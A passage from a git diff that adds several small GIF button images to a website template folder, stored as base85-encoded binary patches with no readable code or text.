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 LVnCqnW^njF4=G3& literal 0 HcmV?d00001 diff --git a/Sites/Template/alice/images/buttonBF.gif b/Sites/Template/alice/images/buttonBF.gif new file mode 100644 index 0000000000000000000000000000000000000000..bcfd640b8b2732ba1886b9b99607412515fc3aeb GIT binary patch literal 1617 zcmdUshf~vM7{^}(nMxI_2nQBHJwZSek{HxlfivJ}sdo~lf{Icth>WltfHmSM+b{(} zLLdnlKnNj(Oadfq0U0HL2?k{-#k0x~`iuQ5`n`MaeV)(vdERjk%Ink-WJokH1Capi zUeeJ5Km_aoBn^86?bX%QR4SE5qtWSf27^H)5^HN~MIzD5moG;~MkXdEluD&arJ9rqs3l+EToq_XhLL&zsSz21!M2vz#KfLgaOS}yOuqa{^9*^e{qoRnsW>R!CskyAIj9(cO zQzZ~o#l*z;0CWbQpMi#204&1?XebQ8W66AerB4PQogst+cu`RiiA1Was}oT$v1Fl; z9E+id-~ebMI1p#~0XPIiP$Cp&K+P1f7!BZ}Og{k7nIchTWu=&cfyYrX6mc9?0tbFs zVzGo8mo1UNF=v8D#a}Y5J+LO0ms#<@65LX)+znmwZ62lN?C>C-C7V=qJa_OD7r(0w zJzL}wt-RB?O?|GwI?C#MvnafLlV^@ykeo&Cukpe0{3(0hk9|`{i8Xq4E#1J@jg;@rCVJD7wbw1}Im}+kLoJ(A)xK^jX}W=P z$*M2YcPrZH#^&Xrn(3Z0_outgaar&BtK9Q8J;|HAC?J}a;Qs7&4j*BiP_b!6pTqkE zmea;`?$z0>J4cPaQ!p_f$2$o_I6jXXe&AHPl`KNv_3haB38Qt`{>WQ1A4{_AwS>Ds z&c2a80`~qN{M7+fmLC6-`P%li#SrwRJ0SZX^i4k)w)DFEE>>|r`FL8;j`v>7jiw;x z?^4sVo>sa$@5bx5?)-s`!0MQoYlWmxMzBLCH~H*S-OGHF{K7WnMS1!5Gfum6ZEO}d zpe&*~x9S}u$}k(N zM5{={qFXa5db=M69@=v-<#@chK;Ozczckp+(>K^q#2F5OU3*;R12+#j?d7k?zh)Pa zU4XZ(PR=^Bht%2EX2J9}L?s2~TayVm-)#5iXtD0Qa;A7)?(I}-x$Ik=CNGo}q>&0p zdwD$BW9r5DMK2~k&8?N5e)#4Sh8^9`fzWWCN==0e5v2Wqg^X zJZ;PX;EZvBTYp$BtX43gVbgx1-Z=Zg6HO#9%*!PCl z7003njwsxKQ4-%}?k!_4*>#?+|6#>JxB=x8DYMTRTkLR(F8ayXx$XD52yIaqv+LMr zi|DQ&Cyvc}9@6cK?%J|o6w~RoQqStsQw8=4z0u*H2KBd@J9)aU{6(vG6xc@@UkM1p zv^$ipG9m&@H;#urz`P3n4R=I6ttinl3{%8wI~F$R+}#k-Fj*n9w2^xltiqo@n?QM} eI?Qs>N~GzHr8oK4=}YS3xc5ub)*E%e(SHGO6Xb{h literal 0 HcmV?d00001 diff --git a/Sites/Template/alice/images/buttonC2.gif b/Sites/Template/alice/images/buttonC2.gif new file mode 100644 index 0000000000000000000000000000000000000000..0d431de5048515a3abede9a2b8ca69f625440c87 GIT binary patch literal 1658 zcmcgr`BT$J6kpUSx8?9ci3PD!wBmFG5~Ho-Q<#!i3eKhXEX?tAa^d7s^VyL&2hQh^78Wj{{HFdX`N0tHa4c! zYKMo1pFe*-J3Bi+Kd;ef>g(%EN=lSU<-owelP6D9DwRT^XlrY0Z*P~&5({PfyR_;Gj?_EiElPN}MZj z{kfW7QBl#_njHik&mBXBwoAph|JO5MLD>`vMU)#1+}-1AMM5g(6Dyu76pBQ-K{>+8 z%1Vi(9_tR^2{aPK!q!0%woWXr!-8OvL_$It`Ue;PgF)>uc#xq;QYkb*Yh&vrrKP2{ zwY3i)K9tcD;Q*B=mJFn8W<)+ zgh*m4+8c16(h7uOw+Mv+NBj#aIv``=0SGJT=)kj;N;V$P>Og?7LZz}W3?T4@ct{1$ zqS0tgDM)a(SgkHT3$Y88>ZX*GCbf#4j08xPiVcAvtVpeHN=5)=3dB8I1YL7c7yw8_ zGMf!$p-H9EXqwIzYaj`Yp&WV|#Q+l3Xx9E0b6nbBWCqs2K0_xAe*&23!J4VPZ(N$E zsj+2%2k#q7Tc(xM0rFpYyN+hsz`{96r>niv9K6lk?mOKf+}m=LdWvRK^SIC@R8F30 zzI3Y8Eq>w#-*(#n!7hx$COZs8W8r&m?>P;J)?XJ`eX>m8_A0Py&+e&4>4(T3_67e; z*w;^~L+ndG)P6_gz6s@CRnrs9pI**2-Q!hzKafieWTviPgYDxr_OxXfIr%h%cugvD zOAm!rxw~`R z_1VSp(t5%ELx*s^0Y|*|Xd@4QT+2U~kcR=eTVOXSf8f5j^3pM6ESUW)3h(6Got9Um@CC)W)6G^ zcNw%m&lLoWq95efHka)4UQ^wjZ6+4ZqBtqrZC`Wb=oe2oclVcg*GS;A?TszDD@^`1 zIoySjFH+CfYmT(Cgkh<;E0^B|P4=SLE|@D5OXpf{c-Q~q%4TA3P!uy^@LNCs7f(HH%TjwoQ0M;S zM5ViMVjXf$(ud=eE(pcBN2{S6zcVmDbl(YG&*Dh@@%_WsVvk^Vnpfn^ZXb}W&qFEEZ-RY)q=I-tywFs{=!kbbx`1p*?aDg|ag!A|{5NnMhCl!S literal 0 HcmV?d00001 diff --git a/Sites/Template/alice/images/buttonC5.gif b/Sites/Template/alice/images/buttonC5.gif new file mode 100644 index 0000000000000000000000000000000000000000..0988f92f0a2126dc5f5da680a9aa939b28480ed9 GIT binary patch literal 1603 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 literal 0 HcmV?d00001 diff --git a/Sites/Template/alice/images/buttonCF.gif b/Sites/Template/alice/images/buttonCF.gif new file mode 100644 index 0000000000000000000000000000000000000000..0d9750e2ff56429b3a1221dcd4eb408933d056de GIT binary patch literal 1498 zcmeHG`A^da6#tTeqk>MEf^L?TbAYfol%sRYpb#u5T6H3q4iH>K5iN(5dcg)Vkwb)* zqXLDtw56pjmI5uM7p1gZ<**##rc$8@4CWM~urEvY7wp%)yIe?L!n zWCCyyxCH=K>xKpZPy{#wU~FrTKx8l&wY9ZOCbO=tj>Te;NTmAudWl5R-`_tnGBP}mA$>aV`F1Np^!`_S5;MsM53;)F0ok5=kuGJo7HOd%a<=(T3VW#ni?A$ z2?RoQb#+5SLq$b}fP{7fw{k<11Om5zfJh_?DG6v&OJ!xHh?EJb@A#sdJt3fnPt?KB##gO!Tq zD3$o|FdTRQTsQzvWr2j1x^2R#I9NEi2pr1+36`T$;lsf;91q`?RGpoj91aH*{*V81 z0pl&;Fys*OR=PLj(_N>%nvM`q>f(iRNl9#1TO$M)61}=EG06pw3NfwJgKH z#*Yz*XOq|yE z;Tn){`)!;r1oy|vN$d$r&(?d2H{j>TZ^i2wIYdnfde(c|GQt=MlVi@Kti1OJ5$@c!{PVemi!~Jip#^CLV)HB*+!TSda-ld57Q@FHpZ-d?-{+fLkbuPX4u+F>HSid8^R6$#m32-CQD6P z-1VjACow!n{vuDmBv{_*A@M4EY!WYkX!DnaAJS{TM84e|T^1WEurX)Noy_UNIoGjo z8o2$VH+gTBCw~%Nuy2{nsItOnb09c}dPBRv@Wi+^Gx9azSmf)~&Kd7Qyy{P<-}d4> Vb&R#1@82!1^?K=@&v^mI{{{@TcD4Wj literal 0 HcmV?d00001 diff --git a/Sites/Template/alice/images/buttonD5.gif b/Sites/Template/alice/images/buttonD5.gif new file mode 100644 index 0000000000000000000000000000000000000000..ae97219b5aa2dd1132695980eef653d5ee23b40c GIT binary patch literal 1628 zcmd5(_gB+b6n|ol2q;yGS`-vPjyNb)AR$_<0tZ2XLI(*;)C#l|Eszih=n+Sm%9a3O zg?tG~NC+c@l^sSB6e4>YW@J^4TaH4%*ngt;m(RNQz4Pw7;OcCTzKR1zARK^$9}$}X z=my6DTpL~@j4T$bva*uRW>-~JaX1_Zf@*7PB@#(bPtWl1@bl--r>3T+r>AFTW+o>m z2L}hcy1H6gT9{0xP$-<3m{?g^SzTTI{Q2|R+SMd3jk`nMfph^5ltFEN*UYZfa^$sZ{;_{d_*Zv9YnCp`oy_kV>W2*VmVn zl(ayRcJQn0BB7QR8(;&29k2txK7=g_g~Ep-aWny+58>b@I~>I43urh#|B*KU-f8e{ zG@Lh_3nC#t4QE$cS}LOB@pO?e9nLZ7LZL{Mj)4yc-svI{9*+SSJl+l#6;Vhy7Ks^A z_zI!00w2W?!-hB=Lnf1HG+JFi73VwkH8Sa%>ejh5SS84h7Zir z#bTHt2~1d3R8&Zr1mKeyT`40lrLxLspG;|{R9anK&E<02*fA)8iea~*fNu`G!L}S< zfNEt$Zy-RyVKl210N-}Fs))p@_6`n_$bq;1*bkskz%OSb$YC%TikdhyK*!Z6IyyKo zL&b79v8XSGLe7be<-q@w>krThl0N``B!xnr>jzJ4*m6#;Tn>Q0vL;Tc+=xj^Wn7KY zpY%nb(ddnJp*uS}YiepX=>M#?u7eUCW0&xI=XJEVdz@?hjv`CgVScjkLx!1Cf`Q33 zZj2Yz;hw3Zu5F%qVp8^QC&-OqP~Q32%12r_UmN5`w#7}|YWjN4J>M+S)X*rBqTJ?^ zeKbJHW%O2fQZE)Y+s=BH9XT{pEq--f#ku01U~+5#8s-H3NIR3tTlV4osbEIw4Fsp@ z9C4uKdGa7ncKqgbljDumD%szg%$-?Shv~L79h>4$*lO%fj9%#W)xjD~cd29Qe)neX zd@tRRv@M0CzAS?F6z4ut+1wcB{xHpBli%NXCNk0JS2bT>%)E74@2l}@!t04A)WKXK z|J2I`+1>Q6Wgq(ayKz60*O8Hkc;cb!9{ap%ozBE{FOFuTo;yizz4jPMwO%$Msy~;q zwG$D(Z|)-YObbZr__Q|3#4hah^XlFH_Hy+BZ7s`@Kz2|+Hnd15=%AKCQp6Uc9a`aK z2z}b7_`SFDw86d;1&1d?cE<)^HO4{jF=-Z6^vRGSBQEAe)5T0d3D&p3gXHIvM zT~@SBckO@nAj#vDx1Ls+Dk9-TicZW>Y{NOM#TECn`S;EIymO(#@e_uZgA!(mSmW9J z!L3^E(o9G4jf;S8aL)|T5I2tMZleZdVd+-4gT3@hP8L%xUdxGCr8sDxAz-sy_s3px z-8v&S&uj436SvFcc^1D8Rmr`kYzl)MmC1%wstOg7^m$)lG9UDV*KhPxyerO*J z%kEHL3aXC(AwUjt<;xv zbCMe?u=NUMN+PqLCt1%O%zj8zHhzDy99R}QDnAfMHA>@D|5}y#ov@ef7KhnydfZUU zZ+bny3Ya-ZF)(@Cj}2kJ?LCnGi)O&%@DAkAHH{~7$Z>Q_mcX03{BHE7_Pg;BZl=F& zN4SPv-@hJ(4ls_IGO VN)x|beF2efuFlg_4R?Uk{{pfA0UQ7T literal 0 HcmV?d00001 diff --git a/Sites/Template/alice/images/buttonD8.gif b/Sites/Template/alice/images/buttonD8.gif new file mode 100644 index 0000000000000000000000000000000000000000..d156a88fe568e53e5cc236e2e873942c05563666 GIT binary patch literal 1717 zcmb_a=~vTN5PcvBRz(G>(29pet+*Wpl91XBZ7C`!SR^FS*1Z)gB7~3-wTOZg*@;A1 zA|xRjWFZ+C>k@Jw5&X{X;`T!^6WP zBO`-@gI!%+t*xyxnT*5XC=`mmzP{<{X^X`&KR>^)urND2`|8yzi9|x7P}NH)26}sYpFe-z-Q7JgF)=wgX)>8uELL%GvB6;I=;(O-_;FKHlU}daYPC9@PNUHn zjmEaNwihp6G&D3+R#sA}RHahc($b<*siabAeSN*zY<~9anOrWftE+qT=uv5DDUC*} zt*x!6UG)XNS84SRA3l`P<6+QvC$nGx7EhNgA5i1(Sy)9yMMFbQ1f*v}W#|bJ2@L2l zMnXJY4xxyg26^_$^73*86AJ^VT%}T_VlN~1lA~lPmANRWI3y_)SS$*_uuO#lqEJ|D zB3lJP03xs~C@WXV!m4snFf6O2q=dm>)YR0d)p=+D;E8NC2L}gm9OpfO&V|NfC%&ha zl|)FvaiCy09FAkN6Ezx6A{?+2;c7Jpm8*hM;ma)mbY7lX&15n)92~kpn^dL6aWqv) zaDdK-lC|%VMk5di#9}cQj{pFH=j!!K2%#robk#`+fFVH(fE<9pEX{?{=?b8@#w8;~ z0R(|>Xyg$Hyha0`u=zMUAU&7F}dZ*El2cGfn&aUwlrZqu@JHI!H z+3n0w+L1D;-yfk=@2w*O)nDh#{8J(6Zo4|^J^b^>8K2*kyhckd899loJ1^v{@;=D8 zA1a}Ta#L0;y6vtLn6+tEUV+t-2Z!}Jt9&W%A_b8fP^)9sTDpW|ZRLmVZV8c!U$(Oj zk=JCB2Yyh}H&KeR&Ayj=#9t0exFs`}pD5kN9C*@mukx=QSiP=Sfcv|zh1ON1kV`M` z3(N^_TYJrKrfH4s)MCiIYnCGbML|0XuKN*RGw$xVDr($M+Hqo_@Wye4@}~+X_f0M_ z;o+y#Y(h`v+x|)wervcmYIVxi+7WM+;=HaXz3j$9#T(QmG;HN*7o~qXa856``^wdu z`jc(uPE43PNa#ROHvHnBpJsDKby|1Jw{yHZYm<+cI?IK3hjw?Pb(}q+%vFqv%{#nZ zz3b#>1Q%SO!>E4q?KtlM-}KF?z>^etD<$+v@L8Q_mU(}OSI)bj(ZZiGw}w2B{%bdJc#jB)Z%c*HjR2~(hJ8ph+)ML*0p_NuLpbr(k}%RW+Pm0(BQx3irw z6W*Rj||H?tO#_;KIRm7pV~Q5b?>+9tUNl#Eu!E|(WrnS$_U!eVVPFa zs5Q)?;uRle?fcHrx)vXE^uvSejVr3op;#*8>89}F_ZvXvtF7lf86Seu^?kee4OWL%q#impsw0!YVU%6AnKQze%at=8^h?e}B21gShvX?_t?P8M~)N*17ZX4#TA=2l3gn*ToX+VfjD3 z8e4lGgFdrha;87U?wDxc_NG|;pmeQxW-tpe^>#SV*Nu{rkEEpZlh1A;9DZ=6mEchJ zF$EtGo*Zj=$=X$x6t?JH^ywf@Ifb9Jq~iEN?j=Dlf3EfKl-Vff_F7ezg-Pe8G(^eV zkEDgZxxY0Bu2BD?*e;?;R*q>`rrdCU&d-blkjQT`*Iine9cS_vER&D^T$uB;wE+kI E1H=DM%K!iX literal 0 HcmV?d00001 diff --git a/Sites/Template/alice/images/buttonDB.gif b/Sites/Template/alice/images/buttonDB.gif new file mode 100644 index 0000000000000000000000000000000000000000..b73f0fa092ae174187cc7623f7bc188761abb08f GIT binary patch literal 1788 zcmb_a30IR>8op3Y3sRXDsY+X{LOTjtia>~w(<)0*QKvYb3B;(Nh~?D5W7z|gMT8(x z5+w$NG;D$F3mA|!DIdv&CZZ^z`)e=g)06+v@7-+S=O6%F4pRLPtjj zjYbfzzx$B!TP_4PG3H#asmN+gm84<1OR((dl=uC6YfPB%6-*4x|L+1Yvj z{(UNy+SJt4-rinUSJ&5)hJa7?uNyt|R0Kez(t7|vG&D5GWF$14z6p!yY3MY%9aGa< z`uZx+=!!lBx}v_mUdqY{0kK4hL@Z{cBLJGnum=*RL_&;(J>imAj7VpS#YDIs8;g)I z;WZ?KC1s`~U_m-lB9#(}QYjjZNN0#^YinCtTJGJuhXEiYlPzOshJX+m363zb_rd!F ztd_z>xG~&31OO>9mL!weO{FXhNydiv0K?AAge_u;QU-$|XJ=w=$rYTeOtw6Wqqwb5 z+>*JAnl zar^<505`zL;RNuV2yn0rCqM!$d0+tkuy<4}77Hdq6f6LztKjQVSDgl^903FXHn&v` zK@_#RH5Ua?xvl>PwHoF@f*jQ8DhLK75I_)2LFT}FECqsKEckFngFwRgV7$f@&fNyln~(@c3?n=HrgdZ%vp z@Jwyce0;dl?~F#o8fC;ZMgQI%{4A!?_iM9I`tpKKkZ`=zYxg*PLXh-R%lCwiB}~U9 zH9Ny~{9=WRZ+J^}Ob0!NSNOrY*Pc$HPEq3E6UB`SpHWu01kv8b3FAJEb^T?d&CohK zTpvN$cD!3OKgx`#`nbHxcveE+LZjT&1*J@g4$O4$YL`<+Bwn*_{O$`2xAH<=|28Ge zd^P=`$v_eJ?*GH8C?XCmVVGe>xehzmQH}t(yBs0!@w^%J+b_XphX71ncmDkA*GmO| zRy=-jcW2CDU5Up@ql%Wxz&IQ%bgwTe$^RrOZZe*i)co1!SaMNe;+Z!mwt@KUxNRO@ z`OeA$KsxbZvX^OxgQFt5w6T27cZaHM<78Qr)2_h1_{0M8p+u4|Wn?-hh+jQ@)77?o zEiWzoqV8;)?8P-gLHn|60<=BB+4I+AUx%Rl&Nq0Ulg?w!)y|^35d?^eDhWJfEGqo$ zLg5ErZ9^F`NAbkh^JPI>$GyXRqAs6H_GuR(4}FyseZ}IP8(n{t<`rIaV@I-MNb|qL zM^NY8G`m`pYEvlt@oZG`^+Gl?dOgPKj_TiVi6z-*W4ou7%`*eB{UZsb+_TAk37z|+ z{RG^#nx`Dke=>F9gjHE2zh#`Q#T!h1oJJHiO!Hm)c=>Kehes+Ljv9$6*NN9x7seXDVN9CM2`5+IaGF#KVP9IaFo^w!ojW!FInY& zUnJ%USv?ipKa@sGz%e(79J$jYf23?8VtX!c)nnOU=MCHt7!j<5mL-F~IsXD*M=#~Jaj z@<`}wcz@d*y$WlaXEOLU>%!%-BZ}2N$hIglTn=4g?~8I;bj$k4HbgoI>nIl|)2dgF&bLSeU@oIvRR0BI0}`~Uy| literal 0 HcmV?d00001 diff --git a/Sites/Template/alice/images/buttonDE.gif b/Sites/Template/alice/images/buttonDE.gif new file mode 100644 index 0000000000000000000000000000000000000000..f2e1f56cf61fa6099cf0ed62f26673ea2dc89d9e GIT binary patch literal 1518 zcmeHD2~(3-6n#_%iK0bNTtQYNHaHeR1a&HlijFL$ZUO4Z>INMe2nMkVjv$H#f=CF7 zYzf&Q8-xG}AsYb_5F)4$hE0ed2~?mCN~+k8&N%%Oy>I57^Ul5Z%{}+T$>RsTqmsc^ zkOY9klBo#*RDb|btZ4Tktf{G~uC8XWSZp?%!{JaUl-k-_nM~H(+pE=TM@L7;$Hylo zCUiR8n>TOz`}@1QyG0@qlgVspX&D(AnVXw48jWARd|6&zURqi*7z_e|ptQ8Kudi=% za&l^FYHVz5czAelaByH?K(E)&%*?3OYC4@>Qc}|1-v09C%jeIZcXV_pl}d#|(c0Q7 zm&;WuRZmaP(9n=rEUv1ms;sP(NF-fdT~eu3C=@m|HEA@OSFc_*H#avnHa0XgkVqsl znOt9AUshHoqM$s1CyD~i_~EPV-0+D!?3LgO#6?H&w0KC$9Dm5?N z8vyTgJOq(=H9it}LkALg>dwwi9*?*3>;Lg>1Lj{r5NtUF_K8~0TxvMrt5 zNuTl^1G24bqxqPh$$oe3{nvODJKfKDViQ0)&9JKKeCmdjlcsCqP7^(n$8R-RPX-Yj zQT7|RqAJuDflv1Qs^&BLXrbg&&x9UtLn~dKbzJE}tcG(bDBJdj*Ay)$E`)j{S1^kd zTvsvCYhTA>VXl7E;!pu4l$EjSt1Y6Dt5IZ`I32IK;5VVf!uFSbzQDb(;r!Zb>x})p zsh)EGT)QA4f4YzEkGFV;AG;`_Y%VQ&tl6Ka<^MDxU=cqizL3~Xt!E2k4Y*r})_y^MQ3B^XetTwcHJj}O+?ZL^UbDq^H~{I87AYG zt@j=bzic-9bbD-p%ek$&kE0yNqA!tTts8?8cQbO3+!ton?(rtt+;G{I*f`ve8}07h zb1{p#ZMExx6l=dGE5kJ5OjMxDsUZj7{K(smmCjbD3C?jrf_FMXrfW)m^nE4L8RxR8 zshH&AU{7}b-N;kIv+XT&?7e3QtFT#J#jCzU?`?Y*gXz{@q2&Al-(FgHY8wrQwX=yO z7jH3_(u2$AuR28>Mz!wFJL1E5Rv6vMoF-Wi7AC8o80)XHg^T*l-!QdP9Wx6m-S}7#H6sA`8M;0 z2k({6@fO=9f1?r>Iu?UJJqz3dhlM{FChRV8aHpB=f4I}SN`vHoar$5Md^qoUpZlKs;m-XwGW^S+ zOX&a(ZUFGvs=XZmBH#z0vaw=Fxm<2bOAC+3FH^c z$uu`NXEvK>XJ^O9#|H-oySuwN9F9yTo0^)kTCHnqYwPRl@87>)U0q#TS`v%JWHNbV zWMqDR-eR%L%*;$qPCk3~Y+_o)C;A}=lV4$oy0}0|PWikajGox9C1V|#0$Ye6x+S(Kfb`}y~ zt9q-jP(p#s;;=JqStTbci_@FQR`hbRnwy)eu>fERN{Awn*)1w10ZYIFRZBMH0f3g2 